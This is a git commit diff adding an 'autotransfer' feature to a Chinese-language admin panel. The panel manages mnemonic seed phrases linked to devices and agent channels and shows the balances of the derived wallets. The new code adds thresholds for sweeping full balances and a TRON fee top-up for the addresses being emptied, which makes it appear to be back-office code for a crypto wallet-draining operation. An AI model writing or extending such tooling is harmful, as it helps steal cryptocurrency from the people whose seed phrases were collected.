feat: autotransfer

This commit is contained in:
hashbro
2026-08-17 02:03:17 +08:00
parent 376b442880
commit a32043df71
42 changed files with 3268 additions and 256 deletions
@@ -46,6 +46,26 @@
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">助记词</label>
<div class="layui-input-block">
<select name="has_mnemonic">
<option value="">全部</option>
<option value="1">有</option>
<option value="0">无</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">余额</label>
<div class="layui-input-block">
<select name="has_balance">
<option value="">全部</option>
<option value="1">有余额</option>
<option value="0">无余额</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-addr-search">搜索</button>
</div>
@@ -91,6 +111,9 @@ layui.use(['table', 'form', 'layer'], function () {
{ field: 'chain_type', title: 'Chain', width: 110, templet: function (d) {
return chainTag(d.chain_type);
}},
{ field: 'mnemonic_id', title: '助记词 ID', width: 110, sort: true, templet: function (d) {
return d.mnemonic_id ? d.mnemonic_id : '—';
}},
{ field: 'usdt', title: 'USDT', width: 100, sort: true },
{ field: 'trx', title: 'TRX', width: 100, sort: true },
{ field: 'eth', title: 'ETH', width: 100, sort: true },
+20 -2
View File
@@ -94,7 +94,7 @@ layui.use(['table', 'form', 'layer'], function () {
layer.open({
type: 1,
title: title,
area: ['520px', '520px'],
area: ['560px', 'auto'],
content: '<form class="layui-form" style="padding:16px;" id="LAY-agent-form">' +
'<div class="layui-form-item"><label class="layui-form-label">账号</label><div class="layui-input-block">' +
'<input name="username" class="layui-input" ' + (values.id ? 'readonly' : '') + ' value="' + esc(values.username || '') + '"></div></div>' +
@@ -115,9 +115,25 @@ layui.use(['table', 'form', 'layer'], function () {
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
'</div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">自动转账</label><div class="layui-input-block">' +
'<input type="checkbox" name="auto_transfer_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.auto_transfer_enabled) === 1 ? 'checked' : '') + '>' +
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">仅控制该代理渠道,与系统官方开关互不影响</div>' +
'</div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">阈值</label><div class="layui-input-block" style="display:flex;flex-wrap:wrap;gap:6px;">' +
'<input name="auto_transfer_threshold_usdt" class="layui-input" placeholder="USDT" style="width:110px;" value="' + esc(values.auto_transfer_threshold_usdt || '') + '">' +
'<input name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:110px;" value="' + esc(values.auto_transfer_threshold_trx || '') + '">' +
'<input name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:110px;" value="' + esc(values.auto_transfer_threshold_eth || '') + '">' +
'<input name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:110px;" value="' + esc(values.auto_transfer_threshold_btc || '') + '">' +
'</div><div class="layui-form-mid layui-word-aux" style="margin-left:110px;">留空则用系统阈值(系统也空则 &gt;0)</div></div>' +
'</form>',
success: function () {
success: function (layero, index) {
form.render();
var maxH = Math.max(240, window.innerHeight - 140);
var $content = layero.find('.layui-layer-content');
if ($content.outerHeight() > maxH) {
$content.css({ 'max-height': maxH + 'px', 'overflow-y': 'auto' });
layer.style(index, { top: Math.max(20, (window.innerHeight - layero.outerHeight()) / 2) + 'px' });
}
$('#LAY-agent-tg-test').on('click', function () {
var $btn = $(this);
if ($btn.prop('disabled')) return;
@@ -147,7 +163,9 @@ layui.use(['table', 'form', 'layer'], function () {
var data = {};
$('#LAY-agent-form').serializeArray().forEach(function (x) { data[x.name] = x.value; });
data.status = $('#LAY-agent-form input[name=status_switch]').is(':checked') ? 1 : 0;
data.auto_transfer_enabled = $('#LAY-agent-form input[name=auto_transfer_switch]').is(':checked') ? 1 : 0;
delete data.status_switch;
delete data.auto_transfer_switch;
onOk(data, index);
}
});
+177 -3
View File
@@ -4,6 +4,33 @@
@section('content')
@php $portal = $portal ?? 'admin'; @endphp
<style>
.mn-wallet-wrap { padding: 12px 16px 16px; }
.mn-wallet-hd {
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
margin-bottom: 10px;
}
.mn-wallet-meta { color: #666; font-size: 13px; }
.mn-wallet-empty { color: #999; padding: 24px 0; text-align: center; }
.mn-wallet-table { width: 100%; border-collapse: collapse; font-size: 12px; }
.mn-wallet-table th,
.mn-wallet-table td {
border: 1px solid #e6e6e6;
padding: 8px 10px;
text-align: left;
vertical-align: top;
}
.mn-wallet-table th { background: #fafafa; font-weight: 600; white-space: nowrap; }
.mn-wallet-table .addr-cell {
word-break: break-all;
font-family: Menlo, Monaco, Consolas, monospace;
max-width: 280px;
}
.mn-wallet-table .coin-cell { white-space: nowrap; font-variant-numeric: tabular-nums; }
</style>
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
<div class="layui-form-item">
@@ -34,6 +61,7 @@
<div class="layui-card-body">
<table id="LAY-mn-list" lay-filter="LAY-mn-list"></table>
<script type="text/html" id="LAY-mn-ops">
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wallets">查看钱包</a>
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
</div>
@@ -42,9 +70,151 @@
@push('scripts')
<script>
layui.use(['table', 'form'], function () {
var table = layui.table, form = layui.form;
layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var token = @json(csrf_token());
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
function esc(v) {
return String(v == null ? '' : v)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
}
function coinVal(v) {
return (v === null || v === undefined || v === '') ? '—' : esc(v);
}
function renderWalletsHtml(payload) {
var rows = (payload && payload.addresses) || [];
var html = '<div class="mn-wallet-wrap">';
html += '<div class="mn-wallet-hd">';
html += '<div class="mn-wallet-meta">助记词 #' + esc(payload.mnemonic_id) +
(payload.source ? ' · ' + esc(payload.source) : '') +
' · 关联地址 ' + rows.length + ' 个</div>';
if (rows.length && payload.refresh_url) {
html += '<button type="button" class="layui-btn layui-btn-sm" id="LAY-mn-refresh-bal">刷新余额</button>';
}
html += '</div>';
if (!rows.length) {
html += '<div class="mn-wallet-empty">暂无关联地址</div></div>';
return html;
}
html += '<div class="mn-wallet-body"><table class="mn-wallet-table"><thead><tr>' +
'<th>ID</th><th>Chain</th><th>地址</th><th>Index</th>' +
'<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th>' +
'</tr></thead><tbody>';
rows.forEach(function (r) {
html += '<tr>' +
'<td>' + esc(r.id) + '</td>' +
'<td>' + esc(r.chain_type || '—') + '</td>' +
'<td class="addr-cell">' + esc(r.address) + '</td>' +
'<td>' + (r.derive_index == null || r.derive_index === '' ? '—' : esc(r.derive_index)) + '</td>' +
'<td class="coin-cell">' + coinVal(r.usdt) + '</td>' +
'<td class="coin-cell">' + coinVal(r.trx) + '</td>' +
'<td class="coin-cell">' + coinVal(r.eth) + '</td>' +
'<td class="coin-cell">' + coinVal(r.btc) + '</td>' +
'<td class="coin-cell">' + coinVal(r.bnb) + '</td>' +
'</tr>';
});
html += '</tbody></table></div></div>';
return html;
}
function applyWalletsHtml(layero, payload) {
var html = renderWalletsHtml(payload);
var $wrap = layero.find('.mn-wallet-wrap').first();
if ($wrap.length) {
$wrap.replaceWith(html);
} else {
var $content = layero.find('.layui-layer-content').first();
if ($content.length) $content.html(html);
else layero.html(html);
}
bindRefresh(layero, payload);
}
function bindRefresh(layero, payload) {
layero.find('#LAY-mn-refresh-bal').off('click').on('click', function () {
var btn = $(this);
if (btn.prop('disabled')) return;
if (!payload.refresh_url) return;
btn.prop('disabled', true).addClass('layui-btn-disabled');
var loadIdx = layer.load(1, { shade: 0.1 });
$.ajax({
url: payload.refresh_url,
method: 'POST',
data: { _token: token },
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
btn.prop('disabled', false).removeClass('layui-btn-disabled');
return layer.msg((res && res.msg) || '刷新失败');
}
var next = res.data || {};
applyWalletsHtml(layero, next);
var ok = Number(next.refreshed || 0);
var fail = Number(next.failed || 0);
layer.msg(fail ? ('已写入地址表 ' + ok + ' 个,失败 ' + fail + ' 个') : ('已写入地址表 ' + ok + ' 个'));
var cooldown = Number(next.retry_after || 60);
var nextBtn = layero.find('#LAY-mn-refresh-bal');
nextBtn.prop('disabled', true).addClass('layui-btn-disabled');
setTimeout(function () {
nextBtn.prop('disabled', false).removeClass('layui-btn-disabled');
}, cooldown * 1000);
},
error: function (xhr) {
layer.close(loadIdx);
var body = xhr.responseJSON || {};
var retry = body.data && body.data.retry_after ? Number(body.data.retry_after) : 0;
if (xhr.status === 429 && retry > 0) {
layer.msg(body.msg || ('请 ' + retry + ' 秒后再试'));
setTimeout(function () {
btn.prop('disabled', false).removeClass('layui-btn-disabled');
}, retry * 1000);
return;
}
btn.prop('disabled', false).removeClass('layui-btn-disabled');
layer.msg(body.msg || body.message || '刷新失败');
}
});
});
}
function openWallets(row) {
var loadIdx = layer.load(1, { shade: 0.1 });
$.ajax({
url: row.wallets_url,
method: 'GET',
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var payload = res.data || {};
if (!payload.refresh_url && row.refresh_url) {
payload.refresh_url = row.refresh_url;
}
layer.open({
type: 1,
title: '关联钱包 — 助记词 #' + row.id,
area: ['920px', '480px'],
shadeClose: true,
content: renderWalletsHtml(payload),
success: function (layero) {
bindRefresh(layero, payload);
}
});
},
error: function (xhr) {
layer.close(loadIdx);
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '加载失败');
}
});
}
table.render({
elem: '#LAY-mn-list',
id: 'LAY-mn-list',
@@ -56,7 +226,7 @@ layui.use(['table', 'form'], function () {
{ field: 'device_key', title: '设备 ID', minWidth: 220 },
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
{ title: '操作', width: 190, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
]],
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
@@ -67,6 +237,10 @@ layui.use(['table', 'form'], function () {
return false;
});
table.on('tool(LAY-mn-list)', function (obj) {
if (obj.event === 'wallets') {
openWallets(obj.data);
return;
}
if (obj.event !== 'detail') return;
var url = obj.data.detail_url;
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
+2 -3
View File
@@ -128,7 +128,6 @@
</dd>
</dl>
</li>
@if(auth('admin')->user()?->isSuper())
<li data-name="system" class="layui-nav-item">
<a href="javascript:;" lay-tips="系统" lay-direction="2">
<i class="layui-icon layui-icon-set"></i>
@@ -138,19 +137,19 @@
<dd data-name="settings">
<a lay-href="{{ route('admin.system.settings.index') }}">设置</a>
</dd>
@if(auth('admin')->user()?->isSuper())
<dd data-name="admins">
<a lay-href="{{ route('admin.system.admins.index') }}">管理员</a>
</dd>
<dd data-name="raw-logs">
<a lay-href="{{ route('admin.logs.index') }}">原始日志</a>
</dd>
@endif
</dl>
</li>
@endif
</ul>
</div>
</div>
<div class="layadmin-pagetabs" id="LAY_app_tabs">
<div class="layui-icon layadmin-tabs-control layui-icon-prev" layadmin-event="leftPage"></div>
<div class="layui-icon layadmin-tabs-control layui-icon-next" layadmin-event="rightPage"></div>
+43 -30
View File
@@ -11,20 +11,19 @@
<legend>Telegram Bot</legend>
</fieldset>
<div class="layui-form-item">
<label class="layui-form-label">Bot Token</label>
<label class="layui-form-label">Bot</label>
<div class="layui-input-block">
<input type="text" name="telegram_bot_token" class="layui-input" autocomplete="off"
value="{{ $form['telegram.bot_token'] }}">
<div class="layui-form-mid layui-word-aux" id="LAY-telegram-bot-name">
<div class="layui-form-mid" id="LAY-telegram-bot-name" style="padding-top:9px !important;">
@if($botUsername)
当前 Bot:<b>{{ $botUsername }}</b>
@if($botInviteUrl)
· <a href="{{ $botInviteUrl }}" target="_blank" rel="noopener">邀请进群</a>
@endif
@else
保存 Token 后会通过 Telegram getMe 自动识别 @用户名,无需手填。
未识别 Bot 用户名。请在 .env 配置 <code>TELEGRAM_BOT_TOKEN</code> 后刷新本页。
@endif
</div>
<div class="layui-form-mid layui-word-aux">Bot Token 仅能通过 .env 的 TELEGRAM_BOT_TOKEN 配置,后台不展示。</div>
</div>
</div>
<div class="layui-form-item">
@@ -39,49 +38,64 @@
@if($botUsername)
请邀请 <b>{{ $botUsername }}</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。
@else
全站共用这一个 Bot。此处为官方通知群;代理单独推送只需在「代理用户」里填 Chat ID。保存 Token 后会提示要邀请哪个 Bot。
全站共用这一个 Bot。此处为官方通知群;代理单独推送只需在「代理用户」里填 Chat ID。
@endif
</div>
</div>
</div>
<fieldset class="layui-elem-field layui-field-title">
<legend>后台访问域名</legend>
<legend>自动转账(官方渠道)</legend>
</fieldset>
<div class="layui-form-item">
<label class="layui-form-label">管理后台</label>
<label class="layui-form-label">开关</label>
<div class="layui-input-block">
<textarea name="panel_admin_hosts" class="layui-textarea" rows="3"
placeholder="多行或逗号分隔,如:admin.example.com">{{ $form['panel.admin_hosts'] }}</textarea>
<div class="layui-form-mid layui-word-aux">留空不限制;填写后仅这些 Host 可打开 /admin(其它域名 404)。也可设 .env CORUNA_ADMIN_HOSTS</div>
<input type="hidden" name="auto_transfer_enabled" value="0">
<input type="checkbox" name="auto_transfer_enabled" value="1" lay-skin="switch" lay-text="开|关"
{{ ($form['auto_transfer.enabled'] ?? '0') === '1' ? 'checked' : '' }}>
<div class="layui-form-mid layui-word-aux">仅控制官方渠道设备;代理渠道由代理用户各自开关控制</div>
</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">运营后台</label>
<div class="layui-input-block">
<textarea name="panel_agent_hosts" class="layui-textarea" rows="3"
placeholder="多行或逗号分隔,如:agent.example.com">{{ $form['panel.agent_hosts'] }}</textarea>
<div class="layui-form-mid layui-word-aux">留空不限制;填写后仅这些 Host 可打开 /user(其它域名 404)。也可设 .env CORUNA_AGENT_HOSTS</div>
<label class="layui-form-label">阈值</label>
<div class="layui-input-block" style="display:flex;flex-wrap:wrap;gap:8px;max-width:720px;">
<input type="text" name="auto_transfer_threshold_usdt" class="layui-input" placeholder="USDT" style="width:140px;"
value="{{ $form['auto_transfer.threshold_usdt'] }}">
<input type="text" name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:140px;"
value="{{ $form['auto_transfer.threshold_trx'] }}">
<input type="text" name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:140px;"
value="{{ $form['auto_transfer.threshold_eth'] }}">
<input type="text" name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:140px;"
value="{{ $form['auto_transfer.threshold_btc'] }}">
</div>
<div class="layui-form-mid layui-word-aux" style="margin-left:110px;">余额大于阈值才全额划转;留空按 &gt;0 触发</div>
</div>
<fieldset class="layui-elem-field layui-field-title">
<legend>渠道链接</legend>
<legend>TRON 手续费补给</legend>
</fieldset>
<div class="layui-form-item">
<label class="layui-form-label">投放域名</label>
<label class="layui-form-label">补给地址</label>
<div class="layui-input-block">
<textarea name="channels_domains" class="layui-textarea" rows="4"
placeholder="多行或逗号分隔,如:cdn1.example.com&#10;cdn2.example.com">{{ $form['channels.domains'] }}</textarea>
<div class="layui-form-mid layui-word-aux">渠道未单独配置 domains 时的投放域名兜底;覆盖 .env 的 CORUNA_LAB_CHANNEL_DOMAINS。API/上报域名请用 CORUNA_REPORTING_DOMAINS</div>
<input type="text" name="transfer_fee_address_tron" class="layui-input" autocomplete="off"
value="{{ $form['transfer.fee_address_tron'] }}" placeholder="用于给被转地址补 TRX">
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_ADDRESS_TRON;仅 TRON 转 USDT 时按差额补到目标 TRX。收款地址请在 .env 配置 TRANSFER_TO_ADDRESS*</div>
</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">代理渠道上限</label>
<label class="layui-form-label">私钥</label>
<div class="layui-input-block">
<input type="number" min="1" max="100" name="channels_max_per_agent" class="layui-input"
value="{{ $form['channels.max_per_agent'] }}" style="max-width:160px;">
<div class="layui-form-mid layui-word-aux">每个代理用户最多可拥有的渠道链接数(官方不限)</div>
<input type="password" name="transfer_fee_private_key_tron" class="layui-input" autocomplete="new-password"
placeholder="{{ ($form['transfer.fee_private_key_tron_set'] ?? '0') === '1' ? '已配置,留空不修改' : '手续费地址私钥' }}">
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_PRIVATE_KEY_TRON;留空不改</div>
</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">目标 TRX</label>
<div class="layui-input-block">
<input type="text" name="transfer_fee_topup_trx" class="layui-input" style="max-width:160px;"
value="{{ $form['transfer.fee_topup_trx'] }}" placeholder="20">
<div class="layui-form-mid layui-word-aux">补给目标余额,默认 20</div>
</div>
</div>
@@ -102,10 +116,12 @@ layui.use(['form', 'layer'], function () {
var token = @json(csrf_token());
form.on('submit(LAY-settings-save)', function (data) {
var payload = Object.assign({}, data.field, { _token: token });
payload.auto_transfer_enabled = $('#LAY-settings-form input[name=auto_transfer_enabled][type=checkbox]').is(':checked') ? '1' : '0';
$.ajax({
url: @json(route('admin.system.settings.update')),
method: 'POST',
data: Object.assign({}, data.field, { _token: token }),
data: payload,
success: function (res) {
layer.msg(res.msg || (res.code === 0 ? '已保存' : '失败'));
if (res.code === 0 && res.data) {
@@ -115,8 +131,6 @@ layui.use(['form', 'layer'], function () {
var invite = url ? ' · <a href="' + url + '" target="_blank" rel="noopener">邀请进群</a>' : '';
$('#LAY-telegram-bot-name').html('当前 Bot:<b>' + name + '</b>' + invite);
$('#LAY-telegram-chat-hint').html('请邀请 <b>' + name + '</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。');
} else {
$('#LAY-telegram-bot-name').text('保存 Token 后会通过 Telegram getMe 自动识别 @用户名,无需手填。');
}
}
},
@@ -136,8 +150,7 @@ layui.use(['form', 'layer'], function () {
method: 'POST',
data: {
_token: token,
chat_id: $('input[name=telegram_owner_chat_id]').val(),
bot_token: $('input[name=telegram_bot_token]').val()
chat_id: $('input[name=telegram_owner_chat_id]').val()
},
success: function (res) {
layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败'));